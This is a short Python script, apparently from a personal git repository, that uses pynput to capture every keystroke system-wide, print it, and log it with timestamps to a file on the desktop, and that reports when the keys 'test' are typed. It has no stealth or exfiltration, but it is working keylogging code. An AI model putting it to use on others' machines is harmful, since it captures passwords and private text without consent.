Files
2020-11-14 01:38:36 +01:00

46 lines
949 B
Python
Executable File

#!/usr/bin/env python
from pynput.keyboard import Listener
from shutil import copyfile
import os
import logging
import string
username = os.getlogin()
logging_directory = os.path.join(
os.environ['HOME'],
'desktop'
)
logging.basicConfig(filename=f"{logging_directory}/mylog.txt",
level=logging.DEBUG, format="%(asctime)s: %(message)s")
keys = []
def key_handler(key):
if hasattr(key, 'char'):
print(key.char)
logging.info(key)
parse(key)
def parse(key):
# if len(keys) > 10:
# keys.pop(0)
keys.append(key)
print(key.__dict__)
print(key)
for key in keys[-4:]:
if not hasattr(key, 'char'):
return
if key.char not in string.ascii_lowercase:
return
print(key.char)
if ''.join(map(lambda k:k.char,keys[-4:]))=="test":
print("you are testing")
with Listener(on_press=key_handler) as listener:
listener.join()